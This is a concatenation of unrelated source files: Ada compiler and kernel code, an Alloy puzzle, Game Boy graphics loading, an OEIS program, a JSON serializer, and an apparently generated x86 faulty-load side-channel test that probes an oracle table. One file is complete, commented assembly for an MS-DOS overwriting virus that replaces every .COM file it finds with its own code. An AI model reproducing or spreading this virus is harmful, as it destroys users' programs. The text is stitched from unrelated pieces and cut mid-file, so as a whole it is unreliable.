Analyze_And_Resolve (N, Typ);
return;
end if;
-- If we fall through XX and YY are set
Arglist := New_List (
Convert_To (YY,
Make_Attribute_Reference (Loc,
Prefix => New_Reference_To (Ptyp, Loc),
Attribute_Name => Name_First)),
Convert_To (YY,
Make_Attribute_Reference (Loc,
Prefix => New_Reference_To (Ptyp, Loc),
Attribute_Name => Name_Last)));
Rewrite (N,
Convert_To (Typ,
Make_Function_Call (Loc,
Name => New_Reference_To (RTE (XX), Loc),
Parameter_Associations => Arglist)));
Analyze_And_Resolve (N, Typ);
end Expand_Width_Attribute;
end Exp_Imgv;
|
MSDOS/Virus.MSDOS.Unknown.mini-42b.asm | fengjixuchui/Family | 3 | 173363 | <gh_stars>1-10
.model tiny ;Sets memory model for TASM
.radix 16 ;Sets default number system to hexidecimal (base 16)
.code ;starts code section
org 100 ;makes program begin at 100h, i.e. a .COM file
start: ;beginning label
mov ah,4e ;set ah to 4e, sets function called by int 21
;to find first match
mov dx,offset file_mask ;sets search to look for *.com
search:
int 21 ;executes find first match function
jc quit ;if there aren't any files, ends
mov ax,3d02 ;open file read/write mode
mov dx,9e ;pointer to name found by findfirst
int 21
xchg ax,bx ;moves file handle to bx from ax
mov ah,40 ;sets ah to write to file function
mov cl,[ender-start] ;overwrites file
mov dx,100 ;starting address for coms, write from
int 21 ;beginning of virus
mov ah,3e
int 21 ;closes file handle
mov ah,4f
jmp short search ;jumps back set to find next
quit:
int 20 ;ends program
file_mask db '*.c*',0 ;file mask to match to programs
ender: ;label for size calculation
end start ;end of code
|
puzzles/money.als | c-luu/alloy-specs | 89 | 1862 | // https://dev.to/davidk01/fun-with-alloy-model-checker-2d9b
// SEND + MORE = MONEY
// Non-negative numbers
abstract sig Num { val: Int } { val >= 0 && val <= 9 }
// Digits
one sig S, E, N, D, M, O, R, Y extends Num { }
// Digits must all be different and in 0..9
fact {
all m, n : Num | m !=n => n.val != m.val
}
// Function for computing the sum and the carry at the same time
fun sumCarry(a: Num, b: Num): (Int -> Int) {
let s = a.val + b.val |
s -> (s > 9 => 1 else 0)
}
fun fst(t: (Int -> Int)): Int {
t.univ
}
fun snd(t: (Int -> Int)): Int {
univ.t
}
fun val(a: (Int -> Int), b: (Int -> Int)): Int {
rem[plus[fst[a], snd[b]], 10]
}
// Constraints for SEND + MORE = MONEY
fact {
M.val > 0
S.val > 0
let YSumCarry = sumCarry[D, E],
ESumCarry = sumCarry[N, R],
NSumCarry = sumCarry[E, O],
OSumCarry = sumCarry[S, M] |
Y.val = rem[fst[YSumCarry], 10] &&
E.val = val[ESumCarry, YSumCarry] &&
N.val = val[NSumCarry, ESumCarry] &&
O.val = val[OSumCarry, NSumCarry] &&
M.val = snd[OSumCarry]
}
run { } for 5 Int
|
src/orig/dds-request_reply-connext_c_replier.adb | alexcamposruiz/dds-requestreply | 0 | 28988 | pragma Ada_2012;
package body DDS.Request_Reply.Connext_C_Replier is
--------------------------------
-- RTI_Connext_Replier_Delete --
--------------------------------
function RTI_Connext_Replier_Delete
(Self : RTI_Connext_Replier_Access) return DDS.ReturnCode_T
is
begin
return raise Program_Error with "Unimplemented function RTI_Connext_Replier_Delete";
end RTI_Connext_Replier_Delete;
-------------------------------------------
-- RTI_Connext_Replier_Wait_For_Requests --
-------------------------------------------
function RTI_Connext_Replier_Wait_For_Requests
(Self : access RTI_Connext_Replier; Min_Count : DDS.Integer;
Max_Wait : DDS.Duration_T) return DDS.ReturnCode_T
is
begin
return raise Program_Error with "Unimplemented function RTI_Connext_Replier_Wait_For_Requests";
end RTI_Connext_Replier_Wait_For_Requests;
-------------------------------------------
-- RTI_Connext_ReplierUntypedImpl_create --
-------------------------------------------
function RTI_Connext_ReplierUntypedImpl_create
return RTI_Connext_ReplierUntypedImpl_Access
is
begin
return raise Program_Error with "Unimplemented function RTI_Connext_ReplierUntypedImpl_create";
end RTI_Connext_ReplierUntypedImpl_create;
-----------------------------------------------
-- RTI_Connext_ReplierUntypedImpl_Initialize --
-----------------------------------------------
function RTI_Connext_ReplierUntypedImpl_Initialize
(Self : RTI_Connext_ReplierUntypedImpl; Params : RTI_Connext_EntityParams;
Request_Type_Name : DDS.String; Reply_Type_Name : DDS.String;
Request_Size : DDS.Integer;
Reader_Listener : DDS.DataReaderListener.Ref_Access) return DDS
.ReturnCode_T
is
begin
return raise Program_Error with "Unimplemented function RTI_Connext_ReplierUntypedImpl_Initialize";
end RTI_Connext_ReplierUntypedImpl_Initialize;
------------------------------------------------
-- RTI_Connext_ReplierUntypedImpl_send_sample --
------------------------------------------------
function RTI_Connext_ReplierUntypedImpl_send_sample
(Self : RTI_Connext_ReplierUntypedImpl;
Data : Interfaces.C.Extensions.Void_Ptr;
Related_Request_Info : DDS.SampleIdentity_T;
WriteParams : DDS.WriteParams_T) return DDS.ReturnCode_T
is
begin
return raise Program_Error
with "Unimplemented function RTI_Connext_ReplierUntypedImpl_send_sample";
end RTI_Connext_ReplierUntypedImpl_send_sample;
----------------------------------------------
-- RTI_Connext_ReplierParams_toEntityParams --
----------------------------------------------
function RTI_Connext_ReplierParams_toEntityParams
(Self : not null access RTI_Connext_ReplierParams;
ToParams : out RTI_Connext_EntityParams) return DDS.ReturnCode_T
is
pragma Unreferenced (ToParams);
begin
return raise Program_Error with "Unimplemented function RTI_Connext_ReplierParams_toEntityParams";
end RTI_Connext_ReplierParams_toEntityParams;
end DDS.Request_Reply.Connext_C_Replier;
|
src/Ada/syscalls/ewok-syscalls-rng.adb | wookey-project/ewok-legacy | 0 | 21804 | --
-- Copyright 2018 The wookey project team <<EMAIL>>
-- - <NAME>
-- - <NAME>
-- - <NAME>
-- - <NAME>
-- - <NAME>
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
--
--
with ewok.tasks; use ewok.tasks;
with ewok.sanitize;
with ewok.perm;
with ewok.debug;
with types.c; use type types.c.t_retval;
with c.kernel;
package body ewok.syscalls.rng
with spark_mode => off
is
pragma warnings (off);
function to_integer is new ada.unchecked_conversion
(unsigned_16, integer);
pragma warnings (on);
procedure sys_get_random
(caller_id : in ewok.tasks_shared.t_task_id;
params : in out t_parameters;
mode : in ewok.tasks_shared.t_task_mode)
is
length : unsigned_16
with address => params(1)'address;
buffer : types.c.c_string (1 .. to_integer(length))
with address => to_address (params(0));
begin
-- Forbidden after end of task initialization
if not is_init_done (caller_id) then
goto ret_denied;
end if;
-- Does buffer'address is in the caller address space ?
if not ewok.sanitize.is_range_in_data_slot
(to_system_address (buffer'address),
types.to_unsigned_32(length),
caller_id,
mode)
then
pragma DEBUG (debug.log (debug.ERROR,
ewok.tasks.tasks_list(caller_id).name
& ": sys_get_random(): 'value' parameter not in caller space"));
goto ret_inval;
end if;
-- Size is arbitrary limited to 16 bytes to avoid exhausting the entropy pool
-- FIXME - is that check really correct?
if length > 16 then
goto ret_inval;
end if;
-- Is the task allowed to use the RNG?
if not ewok.perm.ressource_is_granted
(ewok.perm.PERM_RES_TSK_RNG, caller_id)
then
pragma DEBUG (debug.log (debug.ERROR,
ewok.tasks.tasks_list(caller_id).name
& ": sys_get_random(): permission not granted"));
goto ret_denied;
end if;
-- Calling the RNG which handle the potential random source errors (case
-- of harware random sources such as TRNG IP)
-- NOTE: there is some time when the generated random
-- content may be weak for various reason due to arch-specific
-- constraint. In this case, the return value is set to
-- busy. Please check this return value when using this
-- syscall to avoid using weak random content
if c.kernel.get_random (buffer, length) /= types.c.SUCCESS then
pragma DEBUG (debug.log (debug.ERROR,
ewok.tasks.tasks_list(caller_id).name
& ": sys_get_random(): weak seed"));
goto ret_busy;
end if;
set_return_value (caller_id, mode, SYS_E_DONE);
ewok.tasks.set_state (caller_id, mode, TASK_STATE_RUNNABLE);
return;
<<ret_inval>>
set_return_value (caller_id, mode, SYS_E_INVAL);
ewok.tasks.set_state (caller_id, mode, TASK_STATE_RUNNABLE);
return;
<<ret_busy>>
set_return_value (caller_id, mode, SYS_E_BUSY);
ewok.tasks.set_state (caller_id, mode, TASK_STATE_RUNNABLE);
return;
<<ret_denied>>
set_return_value (caller_id, mode, SYS_E_DENIED);
ewok.tasks.set_state (caller_id, mode, TASK_STATE_RUNNABLE);
return;
end sys_get_random;
end ewok.syscalls.rng;
|
engine/events/fishing_gfx.asm | Dev727/ancientplatinum | 28 | 87409 | <gh_stars>10-100
LoadFishingGFX:
ldh a, [rVBK]
push af
ld a, $1
ldh [rVBK], a
ld de, FishingGFX
ld a, [wPlayerGender]
bit PLAYERGENDER_FEMALE_F, a
jr z, .got_gender
ld de, KrisFishingGFX
.got_gender
ld hl, vTiles0 tile $02
call .LoadGFX
ld hl, vTiles0 tile $06
call .LoadGFX
ld hl, vTiles0 tile $0a
call .LoadGFX
ld hl, vTiles0 tile $fc
call .LoadGFX
pop af
ldh [rVBK], a
ret
.LoadGFX:
lb bc, BANK(FishingGFX), 2
push de
call Get2bpp
pop de
ld hl, 2 tiles
add hl, de
ld d, h
ld e, l
ret
FishingGFX:
INCBIN "gfx/overworld/chris_fish.2bpp"
KrisFishingGFX:
INCBIN "gfx/overworld/kris_fish.2bpp"
|
Transynther/x86/_processed/AVXALIGN/_st_/i3-7100_9_0xca_notsx.log_21829_119.asm | ljhsiun2/medusa | 9 | 105477 | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %r13
push %r8
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_WT_ht+0x1a6ca, %r11
nop
nop
nop
dec %rcx
and $0xffffffffffffffc0, %r11
vmovntdqa (%r11), %ymm1
vextracti128 $1, %ymm1, %xmm1
vpextrq $0, %xmm1, %r12
nop
nop
nop
nop
nop
xor $57612, %rsi
lea addresses_UC_ht+0x88ec, %rsi
nop
nop
nop
add %r11, %r11
vmovups (%rsi), %ymm4
vextracti128 $1, %ymm4, %xmm4
vpextrq $1, %xmm4, %rbx
sub %r12, %r12
lea addresses_normal_ht+0x1a40a, %rdi
nop
nop
nop
nop
nop
and %r8, %r8
mov (%rdi), %si
nop
nop
nop
nop
nop
and %rdi, %rdi
lea addresses_D_ht+0x866a, %r12
nop
nop
nop
nop
nop
sub $6816, %rsi
mov (%r12), %r8d
nop
nop
nop
nop
add $18857, %r11
lea addresses_D_ht+0x8cb3, %rsi
lea addresses_normal_ht+0x1716a, %rdi
nop
and %r13, %r13
mov $74, %rcx
rep movsw
nop
nop
nop
nop
inc %rcx
lea addresses_WT_ht+0x130fe, %rsi
lea addresses_normal_ht+0x316a, %rdi
nop
nop
nop
nop
sub %r8, %r8
mov $68, %rcx
rep movsl
nop
nop
xor $52875, %rcx
lea addresses_D_ht+0x2d95, %rbx
nop
nop
xor $13106, %rdi
movb (%rbx), %cl
dec %r11
lea addresses_D_ht+0x8ad0, %rbx
nop
nop
nop
nop
nop
add $2765, %rdi
mov $0x6162636465666768, %rcx
movq %rcx, %xmm5
and $0xffffffffffffffc0, %rbx
vmovntdq %ymm5, (%rbx)
nop
nop
nop
nop
and %rsi, %rsi
lea addresses_D_ht+0x496a, %rbx
nop
nop
nop
nop
nop
cmp $14015, %r8
movl $0x61626364, (%rbx)
nop
add $23127, %rsi
lea addresses_D_ht+0x130a, %rdi
inc %r11
movb $0x61, (%rdi)
nop
nop
nop
nop
nop
and %rbx, %rbx
lea addresses_WT_ht+0x1717a, %r11
clflush (%r11)
cmp %r8, %r8
movb (%r11), %bl
nop
nop
nop
cmp %rsi, %rsi
lea addresses_normal_ht+0x183ae, %rsi
lea addresses_WC_ht+0x1b26a, %rdi
nop
nop
xor $56559, %r13
mov $60, %rcx
rep movsw
nop
add $26658, %rsi
lea addresses_normal_ht+0x1b77a, %rbx
nop
xor $51961, %r12
movups (%rbx), %xmm3
vpextrq $0, %xmm3, %rsi
nop
nop
nop
nop
cmp $11445, %rsi
lea addresses_D_ht+0x1676a, %r11
nop
nop
nop
nop
cmp %rdi, %rdi
mov (%r11), %si
nop
dec %r8
lea addresses_D_ht+0xdcba, %r11
nop
cmp $19143, %rbx
movl $0x61626364, (%r11)
sub $34477, %rsi
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %r8
pop %r13
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r12
push %rax
push %rbx
push %rcx
push %rdi
push %rsi
// Store
lea addresses_D+0x160ea, %r12
nop
nop
nop
xor $29700, %rbx
movb $0x51, (%r12)
xor %r11, %r11
// REPMOV
lea addresses_WT+0x156a, %rsi
lea addresses_D+0x1716a, %rdi
xor $34692, %r11
mov $91, %rcx
rep movsw
nop
nop
cmp $6393, %r10
// Faulty Load
lea addresses_normal+0xb56a, %rax
nop
nop
nop
nop
dec %rcx
mov (%rax), %r10w
lea oracles, %rax
and $0xff, %r10
shlq $12, %r10
mov (%rax,%r10,1), %r10
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rax
pop %r12
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_normal', 'size': 8, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 7, 'NT': True, 'type': 'addresses_D', 'size': 1, 'AVXalign': False}}
{'src': {'type': 'addresses_WT', 'congruent': 10, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D', 'congruent': 9, 'same': False}}
[Faulty Load]
{'src': {'same': True, 'congruent': 0, 'NT': True, 'type': 'addresses_normal', 'size': 2, 'AVXalign': True}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'same': False, 'congruent': 3, 'NT': True, 'type': 'addresses_WT_ht', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'same': False, 'congruent': 1, 'NT': False, 'type': 'addresses_UC_ht', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'same': False, 'congruent': 4, 'NT': True, 'type': 'addresses_normal_ht', 'size': 2, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'same': False, 'congruent': 7, 'NT': False, 'type': 'addresses_D_ht', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_D_ht', 'congruent': 0, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 6, 'same': False}}
{'src': {'type': 'addresses_WT_ht', 'congruent': 1, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 8, 'same': False}}
{'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_D_ht', 'size': 1, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': True, 'congruent': 1, 'NT': True, 'type': 'addresses_D_ht', 'size': 32, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 10, 'NT': False, 'type': 'addresses_D_ht', 'size': 4, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 4, 'NT': False, 'type': 'addresses_D_ht', 'size': 1, 'AVXalign': False}}
{'src': {'same': False, 'congruent': 3, 'NT': False, 'type': 'addresses_WT_ht', 'size': 1, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_normal_ht', 'congruent': 2, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC_ht', 'congruent': 6, 'same': False}}
{'src': {'same': False, 'congruent': 2, 'NT': False, 'type': 'addresses_normal_ht', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'same': True, 'congruent': 9, 'NT': False, 'type': 'addresses_D_ht', 'size': 2, 'AVXalign': True}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 3, 'NT': False, 'type': 'addresses_D_ht', 'size': 4, 'AVXalign': False}}
{'34': 21829}
34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34
*/
|
programs/oeis/253/A253943.asm | karttu/loda | 1 | 170343 | ; A253943: a(n) = 3*binomial(n+1,6).
; 3,21,84,252,630,1386,2772,5148,9009,15015,24024,37128,55692,81396,116280,162792,223839,302841,403788,531300,690690,888030,1130220,1425060,1781325,2208843,2718576,3322704,4034712,4869480,5843376,6974352,8282043,9787869
mov $1,$0
add $1,6
bin $1,6
mul $1,3
|
bootsector/protmode.asm | drakeor/koiz-os-v1 | 0 | 165748 | use16
use_32bpm:
; Disable interrups
cli
; Load our descriptor
lgdt [gdt_descriptor]
; Set the first bit of cr0 to goto protected mode.
mov eax , cr0
or eax , 0x1
mov cr0 , eax
; Execute farjump to the 32 bit code
; This apparently flushes the cpu pipeline of pre-fetched 16bit instructions
jmp CODE_SEG:init_32bpm
use32
init_32bpm:
; Remember that our old segments are useless now
mov ax, DATA_SEG
; Point segment registers to what we defined in the GDT
mov ds, ax
mov ss, ax
mov es, ax
mov fs, ax
mov gs, ax
; Update stack position so its on top of free space
mov ebp, 0x80000
mov esp, ebp
call main_32b
use16 |
uti/intrasc.asm | olifink/smsqe | 0 | 93648 | <reponame>olifink/smsqe
; Convert a word integer to ASCII in a buffer 1993 <NAME>
section utility
xdef ut_intrasc ; integer to ASCII, right-aligned
;+++
; Convert a word integer to ASCII in a buffer, right-aligned.
;
; Entry Exit
; d1.w value
; a1 ptr to buffer ptr before value in buffer
;---
ut_intrasc
asc.reg reg d2-d3
movem.l asc.reg,-(sp)
moveq #1,d2 ; reset digit count
try_div
cmp.w #10,d1 ; another digit left?
bls.s all_divd ; no
addq.w #1,d2 ; another digit
and.l #$ffff,d1
divu #10,d1
move.l d1,-(sp)
bra.s try_div
all_divd
move.w d2,d3 ; keep digit counter
neg.w d2
lea 5(a1,d2.w),a1 ; point to digit 1
swap d1
ins_loop
swap d1
add.b #'0',d1
move.b d1,(a1)+ ; insert digit
subq.w #1,d3 ; all done?
beq.s all_done
move.l (sp)+,d1
bra.s ins_loop
all_done
add.w d2,a1
movem.l (sp)+,asc.reg
rts
end
|
test/interaction/Issue2286.agda | cruhland/agda | 1,989 | 11373 | <gh_stars>1000+
-- Andreas, 2016-10-30, issue #2286 reported by carlostome
-- {-# OPTIONS -v interaction.give:40 #-}
-- {-# OPTIONS -v tc.term.expr:40 #-}
-- {-# OPTIONS -v tc.meta:40 #-}
-- {-# OPTIONS -v 10 #-}
data Nat : Set where
zero : Nat
succ : Nat → Nat
data _==_ {A : Set} (x : A) : A → Set where
refl : x == x
f : Nat -> Nat
f x = {! f x !} -- giving f x here used to loop, as termination checking was not redone
p1 : (n : Nat) -> f n == n
p1 n = refl -- This unsolved constraint triggered the loop.
|
alloy4fun_models/trashltl/models/3/ZQhqM6MYPeamGmo2s.als | Kaixi26/org.alloytools.alloy | 0 | 540 | open main
pred idZQhqM6MYPeamGmo2s_prop4 {
eventually( File' in Trash')
}
pred __repair { idZQhqM6MYPeamGmo2s_prop4 }
check __repair { idZQhqM6MYPeamGmo2s_prop4 <=> prop4o } |
Tarea_MIPS_Pipeline.asm | JaCMxO/MIPS-Pipeline-Sources | 0 | 83098 | <reponame>JaCMxO/MIPS-Pipeline-Sources<filename>Tarea_MIPS_Pipeline.asm<gh_stars>0
.data
.text
main:
lui $s0, 0x1001
addi $at, $zero, 7
sw $at, 0($s0)
addi $s2, $zero, 1
addi $s3, $zero, 32
sll $t0, $s2, 4
srl $t1, $s3, 4
sub $t2, $t0, $t1
##
sll $t3, $t2, 8
srl $t4, $t2, 2
sll $t5, $t4, 3
addi $t6, $t5, 10
add $t6, $t5, $t5
add $t6, $t6, $t6
##
ori $s1, $s0, 0x24
## Hazard detection test
lw $v0, 0($s0)
#nop
#lw $v1, 0($s0)
#nop
add $v1, $v1, $v0
sll $a0, $v1, 3
or $a0, $a0, $zero
##
exit:
|
programs/oeis/255/A255996.asm | neoneye/loda | 22 | 179321 | <gh_stars>10-100
; A255996: Number of length n+5 0..1 arrays with at most one downstep in every n consecutive neighbor pairs.
; 64,128,188,256,337,428,530,644,771,912,1068,1240,1429,1636,1862,2108,2375,2664,2976,3312,3673,4060,4474,4916,5387,5888,6420,6984,7581,8212,8878,9580,10319,11096,11912,12768,13665,14604,15586,16612,17683,18800,19964,21176,22437,23748,25110,26524,27991,29512,31088,32720,34409,36156,37962,39828,41755,43744,45796,47912,50093,52340,54654,57036,59487,62008,64600,67264,70001,72812,75698,78660,81699,84816,88012,91288,94645,98084,101606,105212,108903,112680,116544,120496,124537,128668,132890,137204,141611,146112,150708,155400,160189,165076,170062,175148,180335,185624,191016,196512
mov $1,4
mov $2,$0
lpb $0
sub $0,1
add $1,1
add $4,2
add $3,$4
add $3,1
add $4,$1
lpe
mov $0,5
add $0,$3
sub $1,1
trn $4,$3
add $0,$4
sub $0,$1
trn $0,3
add $4,3
add $0,$4
lpb $2
add $0,55
sub $2,1
lpe
add $0,61
|
gcc-gcc-7_3_0-release/gcc/testsuite/gnat.dg/array20.adb | best08618/asylo | 7 | 10906 | -- { dg-do assemble }
package body Array20 is
type Arr is array (Positive range <>) of Integer;
type P_Arr is access Arr;
N : constant P_Arr := null;
Table : P_Arr := N;
end Array20;
|
libsrc/_DEVELOPMENT/math/float/am9511/c/sdcc/cam32_sdcc_acos.asm | ahjelm/z88dk | 640 | 91486 |
SECTION code_fp_am9511
PUBLIC cam32_sdcc_acos
EXTERN asm_am9511_acos
defc cam32_sdcc_acos = asm_am9511_acos
|
programs/oeis/025/A025727.asm | karttu/loda | 0 | 90428 | ; A025727: Index of 7^n within sequence of numbers of form 7^i*10^j.
; 1,2,4,7,11,16,22,28,35,43,52,62,73,84,96,109,123,138,154,171,188,206,225,245,266,288,310,333,357,382,408,435,463,491,520,550,581,613,646,679,713,748,784,821,859,898,937,977,1018,1060,1103,1147,1191,1236,1282,1329
mov $14,$0
mov $16,$0
add $16,1
lpb $16,1
clr $0,14
mov $0,$14
sub $16,1
sub $0,$16
mov $11,$0
mov $13,$0
add $13,1
lpb $13,1
mov $0,$11
sub $13,1
sub $0,$13
mov $7,$0
mov $9,2
lpb $9,1
mov $0,$7
sub $9,1
add $0,$9
sub $0,1
mul $0,4
mov $4,1
mul $4,$0
trn $0,1
mov $2,$0
add $2,4
div $4,26
sub $2,$4
mov $1,$2
mov $10,$9
lpb $10,1
mov $8,$1
sub $10,1
lpe
lpe
lpb $7,1
mov $7,0
sub $8,$1
lpe
mov $1,$8
sub $1,3
add $12,$1
lpe
add $15,$12
lpe
mov $1,$15
|
src/sys/serialize/util-serialize-io-json.adb | jquorning/ada-util | 60 | 20756 | -----------------------------------------------------------------------
-- util-serialize-io-json -- JSON Serialization Driver
-- Copyright (C) 2010, 2011, 2012, 2016, 2017, 2020, 2021 <NAME>
-- Written by <NAME> (<EMAIL>)
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
-----------------------------------------------------------------------
with Interfaces;
with Ada.Characters.Latin_1;
with Ada.Characters.Wide_Wide_Latin_1;
with Ada.IO_Exceptions;
with Util.Strings;
with Util.Streams;
with Util.Streams.Buffered;
with Util.Streams.Texts.TR;
with Util.Streams.Texts.WTR;
with Util.Dates.ISO8601;
with Util.Beans.Objects.Maps;
with Util.Beans.Objects.Readers;
package body Util.Serialize.IO.JSON is
use Ada.Strings.Unbounded;
-- -----------------------
-- Set the target output stream.
-- -----------------------
procedure Initialize (Stream : in out Output_Stream;
Output : in Util.Streams.Texts.Print_Stream_Access) is
begin
Stream.Stream := Output;
end Initialize;
-- -----------------------
-- Flush the buffer (if any) to the sink.
-- -----------------------
overriding
procedure Flush (Stream : in out Output_Stream) is
begin
Stream.Stream.Flush;
end Flush;
-- -----------------------
-- Close the sink.
-- -----------------------
overriding
procedure Close (Stream : in out Output_Stream) is
begin
Stream.Stream.Close;
end Close;
-- -----------------------
-- Write the buffer array to the output stream.
-- -----------------------
overriding
procedure Write (Stream : in out Output_Stream;
Buffer : in Ada.Streams.Stream_Element_Array) is
begin
Stream.Stream.Write (Buffer);
end Write;
-- -----------------------
-- Write a wide character on the stream doing some conversion if necessary.
-- The default implementation translates the wide character to a UTF-8 sequence.
-- -----------------------
procedure Write_Wide (Stream : in out Output_Stream;
Item : in Wide_Wide_Character) is
begin
Stream.Stream.Write_Wide (Item);
end Write_Wide;
-- -----------------------
-- Start a JSON document. This operation writes the initial JSON marker ('{').
-- -----------------------
procedure Start_Document (Stream : in out Output_Stream) is
Current : access Node_Info;
begin
Node_Info_Stack.Push (Stream.Stack);
Current := Node_Info_Stack.Current (Stream.Stack);
Current.Is_Root := True;
end Start_Document;
-- -----------------------
-- Finish a JSON document by writing the final JSON marker ('}').
-- -----------------------
procedure End_Document (Stream : in out Output_Stream) is
Current : constant access Node_Info := Node_Info_Stack.Current (Stream.Stack);
begin
if Current /= null and then Current.Has_Fields and then not Current.Is_Array then
Stream.Write ('}');
end if;
Node_Info_Stack.Pop (Stream.Stack);
end End_Document;
-- -----------------------
-- Write the string as a quoted JSON string
-- -----------------------
procedure Write_String (Stream : in out Output_Stream;
Value : in String) is
begin
Stream.Write ('"');
for I in Value'Range loop
declare
C : constant Character := Value (I);
begin
if C = '"' then
Stream.Write ("\""");
elsif C = '\' then
Stream.Write ("\\");
elsif Character'Pos (C) >= 16#20# then
Stream.Write (C);
else
case C is
